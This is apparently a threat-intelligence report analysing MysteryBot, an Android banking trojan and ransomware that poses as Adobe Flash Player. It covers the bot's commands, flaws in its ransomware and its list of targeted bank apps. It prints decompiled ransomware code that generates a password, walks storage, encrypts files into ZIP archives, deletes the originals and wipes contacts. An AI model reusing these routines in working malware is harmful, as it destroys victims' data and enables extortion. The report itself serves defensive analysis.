MysteryBot; a new Android banking Trojan ready for Android 7 and 8

Published: 2024-10-01 · Archived: 2026-04-29 07:42:05 UTC

Intro

While processing our daily set of suspicious samples, our detection rule for the Android banking trojan LokiBot matched a sample that seemed quite different than LokiBot itself, urging us to take a closer look at it. Looking at the bot commands, we first thought that LokiBot had been improved. However, we quickly realized that there is more going on: the name of the bot and the name of the panel changed to “MysteryBot”, even the network communication changed.

During investigation of its network activity we found out that MysteryBot and LokiBot Android banker are both running on the same C&C server. This quickly brought us to an early conclusion that this newly discovered Malware is either an update to Lokibot, either another banking trojan developed by the same actor.

To consolidate evidence, we searched some other sources and found more matches between samples of both malware using the same C&C, as visible in following screenshot from Koodous:

MysteryBot linked to LokiBot on Koodous

Capabilities

This bot has most generic Android banking Trojan functionalities, but seems to be willing to surpass the average. The overlay, key logging and ransomware functionalities are novel and are explained in detail in the section here-after. All of the bot commands and respectful features are listed in the table below.

CallToNumber	Calls a given phone number from the infected device
Contacts	Gets contact list information (phone number and name of contacts)
De_Crypt	No code present, in development (probably decrypts the data / reverses the ransomware process)
ForwardCall	Forwards incoming calls of the device to another number
GetAlls	Shortened for GetAllSms, copies all the SMS messages from the device
GetMail	No code present, in development (probably stealing emails from the infected device)
Keylogg	Copies and saves keystrokes performed on the infected device

ResetCallForwarding	Stops the forwarding of incoming calls
Screenlock	Encrypts all files in the external storage directory and deletes all contact information on the device
Send_spam	Sends a given SMS message to each contact in the contact list of the device
Smsmnd	Replaces the default SMS manager on the device, meant for SMS interception
StartApp	No code present, in development (probably allows to remotely start application on the infected device)
USSD	Calls a USSD number from the infected device
dell_sms	Deletes all SMS messages on the device
send_sms	Sends a given SMS message to a specific number

The following screenshot shows the dropdown list that enables the operator to launch specific commands on the bot:

Screenshot of the interface used to manage the ransomware victims

MysteryBot also embeds a ransomware feature allowing itself to encrypt individually all files in the external storage directory, including every sub directory, after which the original files are deleted. The encryption process puts each file in an individual ZIP archive that is password protected, the password is the same for all ZIP archives and is generated during runtime. When the encryption process is completed, the user is greeted with a dialog accusing the victim to have watched pornographic material. To retrieve the password and be able to decrypt the files the user is instructed to e-mail the actor on his e-mail address:

googleprotect[at]mail.ru

During the analysis of the ransomware functionality, two points of failure came out:

- Firstly, the password used during the encryption is only 8 characters long and consists of all characters of the Latin alphabet (upper and lower case) combined with numbers. The total amount of characters to pick from is 62, leaving the total possible combinations a total of 62 to the power of 8, which could be brute-forced with the relevant processing power.
- Secondly, the ID assigned to each victim can be a number between 0 and 9999. Since there is no verification of existing ID, it is possible that another victim with the same ID exists in the C2 database, overwriting the id in the C2 database. Resulting in the impossibility for a older victims with duplicated ID to recover their files.

This code snippet shows the process used to generate the password used during the encryption:
generatePassword()

```
 public static String generatePassword() {
    Random random = new Random();
    StringBuilder passwordLength8 = new StringBuilder();
    String seed = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    for (int i = 0; i < 8; i++) {
        int characterLocation = random.nextInt(seed.length());
        char currentChar = seed.charAt(characterLocation);
        passwordLength8.append(currentChar);
    }
    return passwordLength8.toString();
}
```

This code snippet shows the code that recursively scans directories: scanDirectory()

```
 public void scanDirectory(File file) {
    try {
        File\[\] fileArray = file.listFiles();
        if (fileArray == null) {
            return;
        }
        int amountOfFiles = fileArray.length;
        for (int i = 0; i < amountOfFiles; i++) {
            File currentFile = fileArray\[i\];
            if (currentFile.isDirectory()) {
                this.scanDirectory(currentFile);
            } else {
                this.deleteFileEncryptInZip(currentFile);
            }
        }
    } catch (Exception ex) {
        ex.printStackTrace();
    }
}
```

This code snippet shows the code used to encrypt a given directory: deleteFileEncryptInZip()

```
 public String deleteFileEncryptInZip(File file) {
    try {
        StringBuilder canonicalPath = new StringBuilder().insert(0, file.getCanonicalPath());
        canonicalPath.append(".zip");
        ZipFile zipFile = new ZipFile(canonicalPath.toString());
        ArrayList paths = new ArrayList();
        paths.add(new File(String.valueOf(file)));
        ZipParameters zipParameters = new ZipParameters();
        zipParameters.setCompressionMethod(8);
```

```
        zipParameters.setCompressionLevel(5);
        zipParameters.setEncryptFiles(true);
        zipParameters.setEncryptionMethod(99);
        zipParameters.setAesKeyStrength(3);
        zipParameters.setPassword(this.password);
        zipFile.addFiles(paths, zipParameters);
        file.delete();
        StringBuilder dblocksPath = new StringBuilder();
        dblocksPath.append(Environment.getExternalStorageDirectory());
        dblocksPath.append("/dblocks.txt");
        BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(new File(dblocksPath.toString()), true
        bufferedWriter.write("+1\\n");
        bufferedWriter.close();
    } catch (Exception ex) {
        ex.printStackTrace();
    }
    return "";
}
```

This code snippet shows the deletion of all the contacts: deleteContacts()

```
 private void deleteContacts() {
        ContentResolver contentResolver = this.getContentResolver();
        Cursor contacts = contentResolver.query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
        while (contacts.moveToNext()) {
            try {
                contentResolver.delete(Uri.withAppendedPath(ContactsContract$Contacts.CONTENT\ _LOOKUP\ _URI, c
```

Overlay targets

The *get_inj_list* action retrieves the targeted apps with overlays from the C&C server, note that at the time of writing the actor was extending and further developing this overlay action class.

The list of actual targeted apps is visible hereunder (still under development at the time of writing):

Package name	**Related Bank**
at.easybank.mbanking	Easybank
at.volksbank.volksbankmobile	VolksbankBanking
au.com.bankwest.mobile	Bankwest
au.com.ingdirect.android	INGAustraliaBanking
au.com.nab.mobile	NABMobileBanking

Package name	Related Bank
au.com.suncorp.SuncorpBank	SuncorpBank
com.IngDirectAndroid	INGDirectFrance
com.advantage.RaiffeisenBank	RaiffeisenSmartMobile
com.akbank.android.apps.akbank_direkt	AkbankDirekt
com.anz.android.gomoney	ANZAustralia
com.aol.mobile.aolapp	AOL-News,Mail&Video
com.axis.mobile	AxisMobile-FundTransfer,UPI,Recharge&Payment
com.bankaustria.android.olb	BankAustriaMobileBanking
com.bankinter.launcher	BankinterMóvil
com.bbva.bbvacontigo	BBVA Spain
com.bbva.netcash	BBVANetcash PT
com.bendigobank.mobile	BendigoBank
com.boursorama.android.clients	BoursoramaBanque
com.caisseepargne.android.mobilebanking	Banque
com.chase.sig.android	ChaseMobile
com.cibc.android.mobi	CIBCMobileBanking®
com.cic_prod.bad	CIC
com.citibank.mobile.au	CitibankAustralia
com.clairmail.fth	FifthThirdMobileBanking
com.cm_prod.bad	CréditMutuel
com.commbank.netbank	CommBank
com.csam.icici.bank.imobile	iMobilebyICICIBank
com.ebay.gumtree.au	Gumtree:Search,Buy&Sell
com.facebook.katana	Facebook
com.facebook.orca	Messenger–TextandVideoChatforFree
com.finansbank.mobile.cepsube	QNBFinansbankCepŞubesi

Package name	Related Bank
com.fullsix.android.labanquepostale.accountaccess	LaBanquePostale
com.garanti.cepsubesi	GarantiMobileBanking
com.getingroup.mobilebanking	GetinMobile
com.grppl.android.shell.CMBlloydsTSB73	LloydsBankMobileBanking
com.grppl.android.shell.halifax	Halifax:thebankingappthatgivesyouextra
com.htsu.hsbcpersonalbanking	HSBCMobileBanking
com.infonow.bofa	BankofAmericaMobileBanking
com.isis_papyrus.raiffeisen_pay_eyewdg	RaiffeisenELBA
com.konylabs.capitalone	CapitalOne®Mobile
com.konylabs.cbplpat	CitiHandlowy
com.kutxabank.android	Kutxabank
com.macif.mobile.application.android	MACIF-Essentielpourmoi
com.microsoft.office.outlook	MicrosoftOutlook
com.moneybookers.skrillpayments	Skrill
com.moneybookers.skrillpayments.neteller	NETELLER
com.ocito.cdn.activity.creditdunord	CréditduNordpourMobile
com.paypal.android.p2pmobile	PayPal
com.pozitron.iscep	İşCep
com.rsi	Ruralvía
com.sbi.SBIFreedomPlus	SBIAnywherePersonal
com.skype.raider	Skype-freeIM&videocalls
com.snapwork.hdfc	HDFCBankMobileBanking
com.starfinanz.smob.android.sbanking	Sparkasse+FinanzenimGriff
com.starfinanz.smob.android.sfinanzstatus	SparkasseIhremobileFiliale
com.suntrust.mobilebanking	SunTrustMobileApp
com.td	TDCanada

Package name	Related Bank
com.tecnocom.cajalaboral	BancaMóvilLaboralKutxa
com.tmobtech.halkbank	HalkbankMobil
com.todo1.mobile	BancolombiaAppPersonas
com.unionbank.ecommerce.mobile.android	UnionBankMobileBanking
com.usaa.mobile.android.usaa	USAAMobile
com.usbank.mobilebanking	U.S.Bank
com.vakifbank.mobile	VakıfBankMobilBankacılık
com.viber.voip	ViberMessenger
com.whatsapp	WhatsAppMessenger
com.yahoo.mobile.client.android.mail	YahooMail–StayOrganized
com.ykb.android	YapıKrediMobile
com.ziraat.ziraatmobil	ZiraatMobil
de.comdirect.android	comdirectmobileApp
de.commerzbanking.mobil	CommerzbankBankingApp
de.consorsbank	Consorsbank
de.dkb.portalapp	DKB-Banking
de.fiducia.smartphone.android.banking.vr	VR-Banking
de.postbank.finanzassistent	PostbankFinanzassistent
de.sdvrz.ihb.mobile.app	SpardaApp
es.bancopopular.nbmpopular	Popular
es.bancosantander.apps	Santander
es.cm.android	Bankia
es.evobanco.bancamovil	EVOBancomóvil
es.lacaixa.mobile.android.newwapicon	CaixaBank
eu.eleader.mobilebanking.pekao	BankPekao
eu.eleader.mobilebanking.pekao.firm	PekaoBiznes24

Package name	Related Bank
eu.eleader.mobilebanking.raiffeisen	MobileBank
eu.unicreditgroup.hvbapptan	HVBMobileB@nking
fr.banquepopulaire.cyberplus	BanquePopulaire
fr.creditagricole.androidapp	MaBanque
fr.lcl.android.customerarea	MesComptes-LCLpourmobile
hr.asseco.android.jimba.mUCI.ro	MobileBanking
in.co.bankofbaroda.mpassbook	BarodamPassbook
mobi.societegenerale.mobile.lappli	AppliSociétéGénérale
mobile.santander.de	SantanderMobileBanking
net.bnpparibas.mescomptes	MesComptesBNPParibas
org.banksa.bank	BankSAMobileBanking
org.bom.bank	BankofMelbourneMobileBanking
org.stgeorge.bank	St.GeorgeMobileBanking
org.westpac.bank	WestpacMobileBanking
pl.bzwbk.bzwbk24	BZWBK24mobile
pl.eurobank	eurobankmobile
pl.ipko.mobile	TokeniPKO
pl.mbank	mBankPL
pl.pkobp.iko	IKO
ro.btrl.mobile	BancaTransilvania
src.com.idbi	IDBIBankGOMobile
wit.android.bcpBankingApp.millenniumPL	BankMillennium

Conclusion

Although certain Android banking malware families such as but not limited to ExoBot 2.5, Anubis II, DiseaseBot have been exploring new techniques to perform overlay attacks on Android 7 and 8, it seems that the actor(s) behind MysteryBot have successfully implemented a workaround solution and have spent some time on

innovation. The implementation of the overlay attack abuses the Usage Access permission in order to run on all version of the Android operating system including the latest Android 7 and 8.

MysteryBot actor(s) did innovate keylogging with this new implementation. Effectively lowering detection rates and limiting the user interaction required to enable the logger. Indeed, the key logging mechanism is based on touch points on the screen instead of using the commonly abused Android Accessibility Service, meaning that it has potential to log more than the usually keystrokes. The ransomware also includes a new highly annoying capability that deletes the contacts in the contact list of the infected device, something not observed in banking malware till now. Next to that, although still in development another function caught our attention, based on the naming convention in use, it seems that the function named GetMail is meant to collect email messages from the infected device. The enhanced overlay attacks also running on the latest Android versions combined with advanced keylogging and the potential under-development features will allow MysteryBot to harvest a broad set of Personal Identifiable Information in order to perform fraud.

In the last 6 months we observed that capabilities such as a proxy, keylogging, remote access (RAT), sound recording and file uploading have become more and more common; we suspect this trend to only grow in the future. The issue with such functionalities is that besides bypassing security and detection measures, those features make threats less targeting but more opportunistic. For example, keylogging, remote access, file upload and sound recording allow for advanced information harvesting without specific triggers (information can be stolen and recorded even if the victim doesn’t perform online banking). If our expectation of increase in such behavior turns out to be true, it means that it will become difficult for financial institutions to asses whether or not they are target by the specific threats and that all infected devices can be source of fraud and espionage.

IOC

Please note that MysteryBot is still under development at the time of writing and not widely spread.

Adobe Flash Player (install.apps) 334f1efd0b347d54a418d1724d51f8451b7d0bebbd05f648383d05c00726a7ae

---